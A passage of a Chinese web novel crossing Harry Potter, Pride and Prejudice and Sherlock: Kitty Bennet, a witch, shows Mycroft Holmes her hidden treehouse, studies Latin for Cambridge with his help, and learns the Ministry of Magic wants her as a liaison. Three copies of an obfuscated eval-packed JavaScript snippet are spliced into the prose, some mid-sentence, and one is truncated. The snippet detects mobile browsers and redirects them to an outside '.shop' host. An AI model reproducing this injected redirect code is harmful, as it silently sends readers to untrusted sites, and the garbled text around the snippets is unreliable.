“希尔太太,我自己可以更衣,你去帮我准备食物吧,谢谢。” 希尔太太收拾好东西离开。 凯瑟琳将门轻轻锁上,从房门边的柜子里取出一个有些陈旧的牛皮箱子,将书架上几本厚厚的书籍塞了进去。 箱子有空间延展咒,凯瑟琳已经用这个箱子搬了不少东西到树屋里。现在,她又要把之前从伦敦顺道买回来的备考书籍一并带去。 是的,没错。 她今天约麦克罗夫特到树屋,就是为了备考,向他请教一些入学考试的内容。 她最终还是决定选择申请圣三一学院,本科主攻化学。因此入学考试就得备考四大项科目:数学、基础的拉丁文与希腊文、逻辑与批判性写作和自然科学基础。*1 除了那两门古典语言之外,其余的三项她都有扎实的知识功底,倒也不至于心慌。 只是剑桥一贯重视古典教育,拉丁文与希腊文哪怕不要求精通,也得能读懂学术引用与古籍段落。 这正是令凯瑟琳最头疼的一项。拉丁文她还算略懂皮毛,当年和邓布利多研究魔法史时,为了读那些古怪的原典,只好硬着头皮学了点词源。 可希腊文?她也就能认全字母表而已。 不过,好消息总算还是有的—— “你要报读的是理科专业,希腊文是可以申请豁免的。” 麦克罗夫特站在林间小道的尽头,阳光从树叶缝隙间斑驳落下,映在他黑色的风衣上。 他静静听完凯瑟琳的抱怨,略微扬起眉,淡声说道。 “我们要在这里谈话吗?” “当然不是,跟我来。” 凯瑟琳提起裙摆,踏过铺满落叶的林地。风掠过树梢,枝叶沙沙作响,金黄的叶片随步伐翻飞。 麦克罗夫特略一迟疑,还是跟了上去。 林木愈发浓密,阳光被遮得只剩斑驳的碎影。片刻后,前方出现了一棵树枝粗壮树冠茂密的橡树。 凯瑟琳回过头,对他眨了眨眼:“到了。” 麦克罗夫特疑惑:“一颗橡树?” 凯瑟琳:“闭眼。” “好吧……”麦克罗夫特无奈地照做,再一次闭上双眼。 凯瑟琳把手里的箱子轻轻放在地上,从外套口袋里掏出魔杖。 “把你的手给我。” 麦克罗夫特微微蹙眉,但仍抬起右手,将掌心朝上。 凯瑟琳握住他的手腕,魔杖在掌心划出一道轻盈的弧线,一圈浅金色的光芒缓缓旋转落下,随后在他的掌心消散。 一个访客印记便已结成。 凯瑟琳松开手腕,把魔杖收入口袋,“好了。” 麦克罗夫特缓缓睁开眼,下意识低头查看掌心,却什么也没看到,只有手腕上残留的一丝温热。 凯瑟琳指向前方:“看树上。” 麦克罗夫特顺着她的手指望去,原本茂密的橡树枝叶间,隐约显现出一座精巧的树屋。 树屋的窗外立着一个木制的小房子,一只猫头鹰正蹲在小房顶上,目光淡然。 树屋门口外的平台垂下一条藤梯,粗壮而结实,每一节都像木阶般坚固,像楼梯一样能稳稳攀上。 “我在你的掌心留了一个访客印记,你可以看见并触摸这座树屋了。这里可是我的地盘,以后若是想找我,就到这里来。” 凯瑟琳说着重新提起箱子,迈步向树下走去,“跟上我。” 麦克罗夫特还没从惊讶中回过神来,只是下意识地紧随其后。 “难道……你们是栖息于森林里的精灵族吗?” “噗嗤!”凯瑟琳被逗笑,“不,当然不是。你说的妖精或者精灵确实存在,但——不,我不是。我是人类。我告诉过你,福尔摩斯先生,我是个普通人。能感知冷热,会生老病死,有喜怒哀乐,就像你一样。” “或许我们确实有不少共同点。不过,凯瑟琳小姐,我不认为我拥有你这样的能力。”麦克罗夫特顿了顿,“让一座树屋消失又出现的能力。” 凯瑟琳回头:“这是秘密,你暂时还没有权限亲眼所见,所以务必保密。” 麦克罗夫特主动伸手接过凯瑟琳手里的箱子,以便她能提起裙摆上楼梯。 “谢谢。” “不客气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632232|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他掂了掂手中的箱子,几乎轻到可以忽略不计,“箱子很轻。” “当然,我可不想提着沉重的箱子走这么久。” “又是你的能力吗?” “猜对了!一会儿泡一杯红茶,以此奖励您那聪明的小脑瓜。” 凯瑟琳踏上树屋的平台,打开大门,转头对刚上到平台的麦克罗夫特说,“请进,福尔摩斯先生。” 麦克罗夫特弯着腰,步入这座五脏俱全的小树屋后,仔仔细细地打量了一番。 树屋内分区井然有序。 左侧是工作区,书桌上整齐摆放着羽毛笔与皮质笔记本,旁边的实验台上陈列着瓶瓶罐罐与坩埚。那张实验台后是一扇半面墙大的窗户,柔和的阳光透过玻璃窗洒在台面上,映出细微的尘光。 右侧是休闲区,放着一张藤编躺椅和一套橡木桌椅,躺椅上铺着绣有金色星月纹的波西米亚风毛毯和抱枕,木椅上也配着同款纹饰的坐垫。 中间正对大门的墙面摆着两个储物立柜,透过玻璃柜门,可以看见里面整齐陈列着许多他认不出的动植物(魔药材料)、书籍和笔记本。 回头望去,大门左侧是一个用以存放日用品的橡木柜,右侧则是一个原木小吧台,上面摆着陶瓷茶具与茶叶罐,旁边是一台小型烧水炉。吧台上方的墙壁嵌着一扇小窗,窗棂上挂着两只麻绳编织的捕梦网,窗外则是猫头鹰的小屋。 “小心你的头顶,万一您那聪明的小脑袋瓜儿撞坏了,我可赔不起。”凯瑟琳走到右侧吧台前,取出茶杯和茶壶,“箱子放书桌上就行,想坐哪儿都随意。” 麦克罗夫特小心翼翼地避开头顶可能碰到的木梁,将箱子稳稳地放在书桌上,然后走向树屋右侧,坐在木椅上。 他的坐姿略显拘谨,双手放在膝盖上,显然是因为这座精巧的树屋与他高大身形不甚相称。 凯瑟琳回头看着他,有些忍俊不禁:“抱歉,当初建树屋时没考虑过会有比我高大这么多的人来做客。” “不必道歉,凯瑟琳小姐,这是你的树屋,自然得照你的方便来。” 她打开茶叶罐,抓了一把茶叶放入茶壶中,随口提道:“劳烦你再闭眼一次,福尔摩斯先生。” 麦克罗夫特开始习惯:“好的。” 凯瑟琳一边挥动魔杖煮水泡茶,一边开口道:“我有位朋友,上次来这里,也面临和你一样的困难,不过你比他还要高大些。” 麦克罗夫特闭眼不能视物,便下意识顺着声音歪头:“他也是和你一样的人吗?” “是的。” “我会有机会见到他吗?” “这可说不准,他不会常来这里。” 凯瑟琳看着水沸腾,魔杖指挥着开水倒进茶壶中。 麦克罗夫特听出了她话里的“这里”指的是普通人的世界。 “不过……也不一定没有机会。若我答应你的事情完美实现,工作上的走动总是避免不了。” 茶壶里的茶水哗啦啦倒入茶杯,凯瑟琳收好魔杖,上前亲手端起茶杯,递到了麦克罗夫特的手里。 “你可以睁开眼了,福尔摩斯先生。” 那双灰色的眼睛重见天日,麦克罗夫特接过茶杯,茶水的温度正合适,想来应该是凯瑟琳做了一些“手脚”,让茶水快速降温。 “听你这么说,倒是让我对你的这位朋友产生了极大的兴趣,希望未来有机会见到他。” 25.第 25 章 趁着麦克罗夫特喝茶的功夫,凯瑟琳取出箱子里的书本,整齐地放到他面前的木桌上。 她抽出一支不断墨的羽毛笔,递到他手里,随即自己在躺椅上坐下,语气里带着几分调皮的恳求:“善良的福尔摩斯先生,请务必帮帮我,将那些可能会出现在入学考试里的要点圈出来,以便我更高效地备考。您的大恩大德,我一定会铭记于心。” 卷王不吃眼前亏。既然面前就坐着一位学神,这样的优质资源自然要物尽其用。 毕竟,没有哪位勤奋的学霸能拒绝一份来自学神的私藏笔记与考点总结。 麦克罗夫特放下茶杯,刚要说什么,凯瑟琳又抢先一步开口:“在你帮我圈重点的时候,我不会闲着的,我这就给他们的人写信。” “我没说不帮你,凯瑟琳小姐。”他翻开数学书,提起羽毛笔,“等你将信写好,我再一并带回去,让尼日斐花园的仆人紧急跑一趟梅里顿寄信。” 凯瑟琳摆摆手:“不必麻烦,木兰会把信送到的。” “木兰?”麦克罗夫特抬起头。 “我的猫头鹰。” 他顺着她的目光望向窗外,只见一只灰羽猫头鹰安静地栖在窗外的小房子上,闭着眼,微微歪头,像是在打盹。 “别担心,木兰很聪明,从没寄丢或寄错过信。”凯瑟琳笑着补充道。 她走到书桌前坐下,从抽屉里抽出信纸,摊开在桌面上。若是平时,她大概会偷懒用魔法让羽毛笔自动写信。但眼下麦克罗夫特在场,她只能老老实实地自己动笔。 她在魔法部认识的人不多,真正熟悉的也只有加雷斯。因此,这封信她打算写给加雷斯,由他转交给魔法部部长。 加雷斯·安斯里和法瑞斯·斯帕文之间本有些远亲关系,至少加雷斯应该能在斯帕文面前说得上话。 凯瑟琳对麦克罗夫特提出的“改善双边政府沟通机制”的设想抱有相当积极的态度。她上一世在霍格沃茨时曾学习英国魔法史,记得斯帕文是历任魔法部部长中颇为特殊的一位。 坊间传闻他与一些麻瓜贵族交好,在维多利亚女王去世之后,他甚至偷偷穿着麻瓜海军上将的服饰,参加了女王的葬礼仪式。 虽然凯瑟琳并不确定这件事是否是他退休下台的直接原因,但从传闻本身来看,至少可以说明,斯帕文对麻瓜的态度并非主流的纯血傲慢。 她在信中顺带再次提到了此前向魔法事故和灾害司提出过的建议。结合麻瓜政府方面的诉求,她认为这种职位的设立不仅具有建设性,更有其迫切的现实必要。 事实上,魔法界从来都不是一个与世隔绝的独立体系。在许多层面上,它与麻瓜世界的联系远比想象中更深。 最直接的例子便是粮食,巫师们几乎不从事农业生产,对麻瓜农作物的依赖度极高。而有了这种依赖,经济贸易自然随之产生。既然存在贸易,金融交互便无法避免。即便有《国际保密法》束缚,魔法界也无法真正做到与麻瓜世界完全切割。 想到这里,凯瑟琳手中的笔轻轻一顿。她一直对魔法界的金融体系充满好奇——究竟是什么样的机制,能维持这样一套看似自洽、实则深度依赖外部世界的结构? 若是魔法界也有像麻瓜世界那样的大学,选修“经济学导论(巫师版)”之类的课程,研究魔法界的金融体系,说不定是个不错的方向。这不,连论文的开题题目都已经有了。 凯瑟琳被自己的想法逗笑,她微微侧头,用余光瞥了眼身后正帮她圈考点的麦克罗夫特。 她在心中暗暗想,这位学神出身剑桥数学系,又在白厅任职,从他偶尔的只言片语中,便能猜出他经手着多个政府部门的信息。想必在经济与金融上也颇有见地,不知若让他知道魔法界竟存在这样一个半隐形的经济体系,会不会也忍不住想要亲自研究一番。 “你偷看我的行为,我是否可以理解为你已经把信写完了呢,凯瑟琳小姐?” 麦克罗夫特的声音从身后传来,低沉而带着一丝慵懒的笑意。他没有抬头,手里的笔仍在书页上圈画,仿佛只是随口一问。 凯瑟琳总觉得不是自己的错觉,这位福尔摩斯先生似乎格外喜欢逗她。 但那种“逗”并非上位者对下位者的俯视,也不是大人对小孩的玩笑,而是一种非贬义的、带着探询意味的……挑逗。 “咳咳。”她煞有介事地清了清嗓子,假装镇定地回答:“写好了。” 她小心地将信折好,封上蜡,放到窗台上晾着。木兰大概感应到了自己又将有新的差事,已经睁开眼睛,灰色的羽毛在阳光中泛着柔光,歪着脑袋注视着主人。 凯瑟琳被它那副期待的小模样逗笑了。她打开窗户,在吧台抽屉里翻出一包鱼肉干,抽出一片递过去,喂进木兰的嘴里。 窗外秋风携着微凉的气息涌入,风吹动她鬓边几缕浅棕色的发丝,轻柔地拂过脸颊。那一刻她才恍然想起,自己似乎忘了生火取暖。 不过,前两日她在树屋内施过的防寒咒效果尚在,屋内依旧暖融融的,丝毫没有寒意。 她不动声色地又瞥了麦克罗夫特一眼。 若说他没有察觉这异常,她是绝对不信的。以他的敏锐,早该注意到树屋内温度的不对劲。 可他并没有问,也没有表现出半分意外,仿佛这一切理所当然,他已经开始习惯并接纳了她的与众不同。 圈画完所有数学的考点后,麦克罗夫特放下羽毛笔,合上书。他抬起头,看向站在窗边注视着他的凯瑟琳,淡淡开口:“我的外在有什么特别之处,能让凯瑟琳小姐看得如此入神吗?” 凯瑟琳移开目光,先摇摇头,又点点头,“我是一个偶尔迷信的人,相信仰仗学神可以给我带来一丝考试的好运气。” “学……神?”麦克罗夫特愣了一瞬,随即便理解了这个词的含义,嘴角浮起一抹笑意,“我可不是什么神,我是人……” 他顿了顿,有些自傲又讽刺地接着道:“……在这个世界上大多数人都是金鱼的前提下。” “你还真不谦虚。” “过分谦虚是一种傲慢,这可是你说的,凯瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636884|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳小姐。” 凯瑟琳拿起窗台上的信,轻轻扇了扇,确认封蜡已凝固。她朝窗外伸出手,木兰便自觉落在她的手臂上,乖巧地等着她将信绑在腿上。 “木兰,good girl,帮我把信送给加雷斯·安斯里。” 灰羽猫头鹰接下工作,张开翅膀带着信飞走了。 凯瑟琳将窗重新关好,走到躺椅前坐下,拿起那本已经被麦克罗夫特提炼过考试要点的数学书。 她眼里闪着跃跃欲试的光芒:“来吧,我好久没有认真学数学了,但愿我还能记得这些知识。” 接下来的五天,两人每天都在这座树屋里重复相同的模式——麦克罗夫特圈出考点,凯瑟琳抱着书复习。 麦克罗夫特不是一个有耐心的教师,但好在凯瑟琳的理解能力极强,许多知识她早已有基础,只需稍微提示就能迅速掌握要点。 令凯瑟琳意外的是,麦克罗夫特对拉丁文的精通出乎她的想象,她有大半时间都在请教他关于拉丁文的内容。 “你的数学和化学学得很好,逻辑批判性文章也写作通顺,为什么拉丁文几乎像没读过一样?希腊文更是一窍不通。” 麦克罗夫特皱着眉,不解地看着凯瑟琳写得乱七八糟的拉丁文翻译。 凯瑟琳试图为自己辩解:“拉丁文和希腊文在学术研究中的重要性一定会越来越小的。” 麦克罗夫特纠正道:“古典数学涉及大量希腊文,化学学术命名和英文写作引用文献也避免不了拉丁文。” 凯瑟琳:“……” 她无言以对,要怎么告诉麦克罗夫特,作为一个21世纪后接受理科教育的人,除了数学里会用到希腊字母,以及物化生学术命名会用到拉丁文外,几乎没有一个现代理科生会被要求精通这两门古典语言。 “我的拉丁文也没这么差……吧?” 麦克罗夫特放下手里的笔,郑重其事地说:“圣三一学院的入学考试在明年三月底,你只有四个月的备考时间了,凯瑟琳小姐。既然其他三科问题不算严峻,那么你应该更重视拉丁文的复习。我相信以你的聪明才智,一个月内就能掌握这门古典语言。” 凯瑟琳生无可恋:“你的拉丁文学了多久?” 麦克罗夫特:“我在就读公学时便已经在学习拉丁文了。” 凯瑟琳追问:“多久?” 麦克罗夫特顿了顿,善心让他思考了一秒钟是否要给凯瑟琳这个打击,但最终还是决定坦白这个残酷的事实。 “我在十岁时花了半个月的时间就精通了拉丁文。” 果然,站在学习界金字塔尖的人,才配称为学神。 吾等小小学霸,只能靠卷生卷死攀到金字塔腰部。 凯瑟琳放弃挣扎:“我知道了,我会好好学的。” 她蔫儿啦吧唧地重新抽出一张空白草纸,翻开厚重的单词书,决心与拉丁文再战一场。 窗户外忽然传来翅膀扇动的声音,凯瑟琳抬头看去。 是加雷斯的猫头鹰,带来了魔法部的回信。 26.第 26 章 亲爱的凯瑟琳: 收到你的来信,我已经把信中提到的所有事项详细转达给了斯帕文部长。部长在昨日与各司司长经过讨论,决定增设一个新的职位——魔法事务特别调查员(Magical Affairs Special Investigator)。 该职位将常驻麻瓜界,隶属于魔法事故和灾害司,由具有麻瓜家庭背景的巫师担任,目的是更好地协调两边事务,保持高层沟通,减少因为特殊事件可能导致的巫师曝光风险。 斯帕文部长计划于明天下午四点亲自前往麻瓜首相办公室,与麻瓜政府共同商议此事,希望麻瓜政府也能成立一个特别团队,专门与魔法部特别调查员对接,共同处理麻瓜界发生的魔法事件。 至于魔法事务特别调查员的人选,目前尚未最终确定。虽然魔法事故和灾害司的两位巫师都极力推荐你,但斯帕文部长和司长希望能先亲自见到你本人。如果你方便,希望明天下午四点能到麻瓜首相办公室进行面谈。 我必须坦率地提醒你,这个新职位在魔法部内部仍存在不同意见,未来的任职者将承担相当大的压力。 顺便问一句,你最近一切可好?希望你在忙碌之余,也别忘了照顾自己。 无论如何,我一直相信,你凭借聪慧和毅力,一定能应对接下来的一切挑战。也希望能尽快见到你,并听你讲讲最近的生活。 你永远的朋友, 加雷斯·安斯里 *** 事情的进展顺利得让凯瑟琳都有些意外,她没想到魔法部部长会如此迅速地响应麻瓜政府对魔法界单方面交流垄断的不满,并决定采取实际改革措施。 她不知道的是,这些年随着麻瓜工业革命的推进,巫师因魔法事件在麻瓜界曝光的风险逐渐增加,魔法事故和灾害司的工作量也随之攀升。 就连魔法部部长亲自拜访麻瓜首相的频次,也明显高于以往,以前两三年才去一次,如今不到一年就得造访一趟。 更不要说在不远的未来,麻瓜们经过科技革命后,技术的发展导致传播媒体的改革,让信息的传播速度变得更快,传播的信息密度也变得更大。 一旦发生任何魔法事件,魔法事故和灾害司要做的善后工作可就不只是消除在场麻瓜的记忆这么简单了。 想想某音符社媒软件的视频及图文传播的网速吧。 那怕是连巫师们的幻影移形都跟不上的速度。 改革必然伴随着阻力,但时间会证明其正确性与远见。 凯瑟琳阅读完加雷斯的来信,拿着信纸的手垂下。 麦克罗夫特看着她变幻莫测的神情,开口问道:“我想应该这封信带来的应该是好消息,但是什么原因让你如此纠结呢,凯瑟琳小姐?” “确实是好消息,福尔摩斯先生。”凯瑟琳说着,重新在躺椅上躺下。 她将信纸直接递给了麦克罗夫特,“你自己看吧。” 然而麦克罗夫特并没有直接接过信,“你确定这封信中的每一个单词我都有权限能阅读吗?” 凯瑟琳眯着眼怀疑:“你是不是做情报工作的,怎么开口闭口就是权限?” 麦克罗夫特莞尔一笑:“任何在政府工作的人,都会了解权限的重要性。” “看吧,”凯瑟琳把信纸直接丢进麦克罗夫特的怀里,扯过躺椅上的抱枕捂住自己的脸,“反正你迟早都会知道的。” 她用脚趾头想都能猜到,魔法部部长和麻瓜首相商谈之后,麻瓜政府成立的那个负责与魔法部对接的团队里,一定少不了麦克罗夫特,说不定他还会是团队的核心人物。 既然如此,他迟早都会知道所有的事情,如今再瞒下去,不过是拉低沟通的效率罢了。 麦克罗夫特一目十行地读完了整封信,目光在最后两段停顿了一秒。 他指尖无意识敲了敲信纸,神情若有所思,沉默片刻,方才完全消化了信中所有的信息。 他转头看着在躺椅上挺尸的凯瑟琳,语气微妙:“所以……你是女巫?” “Yes.”捂在抱枕里的声音有些闷闷的。 麦克罗夫特如茅塞顿开,这些日子所有想不明白的事情都在这一刻有了解释。 他整愣了一瞬,随即无奈地扯动唇角,笑意里带着几分自嘲,似乎是在嘲笑自己的迟钝。 半天没听到动静的凯瑟琳从抱枕后探出头来,眨了眨眼,看向他:“怎么了?你在笑什么?” 麦克罗夫特轻轻摇头,神情带点意味深长:“我在笑自己,其实并没有我以为的那样聪明,女巫小姐。” 他与凯瑟琳那双翠绿的眼睛对上,接着道:“是信上提到的魔法事务特别调查员,是让你情绪不佳的原因吗?你担心这会影响你上大学的计划?” 凯瑟琳猛地从躺椅上坐起,动作利落得连抱枕都被她甩到一旁。她上身前倾,整个人几乎凑到麦克罗夫特面前,直视着那双沉静的灰眸。 “你就是很聪明,福尔摩斯先生。” 麦克罗夫特挑眉,还未来得及开口,凯瑟琳便又缓缓躺下,声音无奈。 “我原以为魔法部那帮顽固的老古董会把我的提议无限期搁置,或者几年后才会通过这项提议。这确实打乱了我的计划。” “剑桥距离伦敦大约五十英里(八十公里),距离朗博恩大约三十五英里(五十六公里)。” 凯瑟琳疑惑:“所以?” “从剑桥到伦敦的特快火车,大约一个半小时;从伦敦到朗博恩,乘坐私人马车约需七个小时左右。这三个未来你最常往返的地点之间的距离,都不算遥远。通常情况下,半天时间就足以抵达目的地。所以,凯瑟琳小姐,你何必害怕会分身乏术呢?” 凯瑟琳提醒:“福尔摩斯先生,我可是一个巫师。这意味着我会使用魔法,我可以瞬移的。” 麦克罗夫特:“……” 这倒是他未曾设想到的。 “我是怕一边工作一边上学,会两件事情都做不好。” 凯瑟琳盯着天花板,目光停在那根被她昨天心血来潮缠上去的常春藤藤蔓上。 “我不是你这种天才,福尔摩斯先生。要把一件事情做得完美、做到极致,我得付出比别人多得多的努力和时间。你也看到了,加雷斯的信里说,魔法部内部不少人都反对这次改革。斯帕文部长能顶着压力推动这件事,已经很不容易了。” “在霍格沃茨读书的时候,因为年年都是第一,那些纯血统巫师对我也多少会高看一眼。但出了学校,魔法部是成年人的世界,那里不讲学业分数,也不讲天分。纯血巫师的歧视,不是闹着玩的,是能引起战争,会死人的。” 她没说出口的例子在脑海中闪过,某黑魔王、某无鼻男……凯瑟琳晃了晃脑袋,一想到伏地魔她就起鸡皮疙瘩,真实的伏地魔外在形象可比电影里的异形多了。 “总之,如果最后我真的担任了这个职位……” “我会帮你的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644654|187304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >凯瑟琳愣住:“什么?” 麦克罗夫特将加雷斯的信折叠整齐,随手放回木桌上,“若不出意外,首相先生会把这个工作交由我负责。你并不是一个人在承担压力,凯瑟琳小姐。” 凯瑟琳怔了一下,眼睛微微睁大,似乎没想到他会说出这句话。她张了张嘴,思绪乱成一团,最后只挤出一句:“谢谢你,福尔摩斯先生。” 麦克罗夫特:“这是我的工作职责所在,凯瑟琳小姐。” “不,不——”她急忙摇头,认真地望向他,“我是真的想谢谢你。For… everything you’ve done for me.” 凯瑟琳心知肚明在这场交易中,麦克罗夫特给她的帮助远比她付出的要多得多,她由衷地感谢道:“你真是一个善良的大好人,福尔摩斯先生。” 麦克罗夫特一愣,静默了几秒,似乎在消化对方这突如其来诚挚的褒奖,唇角动了动,最终只轻轻叹出一声。 他罕见地有些不自然地转移话题:“你为什么会想到和魔法部提出这样的提议?” “魔法事务特别调查员?” “是的。” 凯瑟琳:“一开始,是因为我没想好未来要做什么。我觉得,如果能留在麻瓜界陪在家人身边,同时又能在没有世俗对女性工作约束的魔法界工作,那大概就是两全其美的事情。 那天舞会的时候,是你的话让我彻底改变了想法。一个活生生的人,因为一次魔法事故,就能在全镇人面前悄无声息地死去,没有人真正在乎甚至想起他的离开,那真的是一件很恐怖的事情。 我的家人都是麻瓜,是普通得不能再普通的人。甚至在可预见的未来,乡绅阶层也会因为工业改革和北美廉价粮食进口等因素遭受重创*1。我不想让他们一边应付麻瓜界的艰难生活,一边还要随时可能面对像梅里顿那位可怜车夫那样的悲剧。” 麦克罗夫特静静地注视着凯瑟琳,听她缓缓倾诉心中的忧虑。 “宾利先生和达西先生都是很合适的婚姻人选,若是你的两个姐姐都能与他们顺利结婚,班内特家的日子不会太艰难。” 凯瑟琳带着一丝诧异又有些狐疑地看向他:“你怎么……怎么连这两对都能看出来?” 麦克罗夫特:“观察就能得出结论,凯瑟琳小姐,这并不是什么难事。那两位绅士对你两位姐姐的爱慕,几乎写在脸上了。” 凯瑟琳:“……” 不是吧?难道伊丽莎白的情商还没有麦克罗夫特高? 啧啧,不愧是学神,连情商都是天才的级别。 想到现在还在对达西有偏见的伊丽莎白,凯瑟琳讷讷地说道:“福尔摩斯先生,你看人真的很有一套。” 麦克罗夫特:“我还看得出来,你那位名叫加雷斯·安斯里的朋友,大概也对你抱有好感。” 凯瑟琳:“……” 这就没必要说了吧。 麦克罗夫特直接站起身来,“天色不早了,我们得早点回去收拾行李。明早八点,我会来朗博恩庄园接你。顺利的话,下午三点,我们就可以到唐宁街10号了。” 凯瑟琳点点头,但随即又纠结起来,“你明早来接我去伦敦……我该怎么向父母解释?” 她顿了顿,又补充一句:“我父母现在可是坚定地认为你是个渣男。” 麦克罗夫特皮笑肉不笑地看着她:“所以,这是谁的错,凯瑟琳小姐?” 凯瑟琳:“……我的。”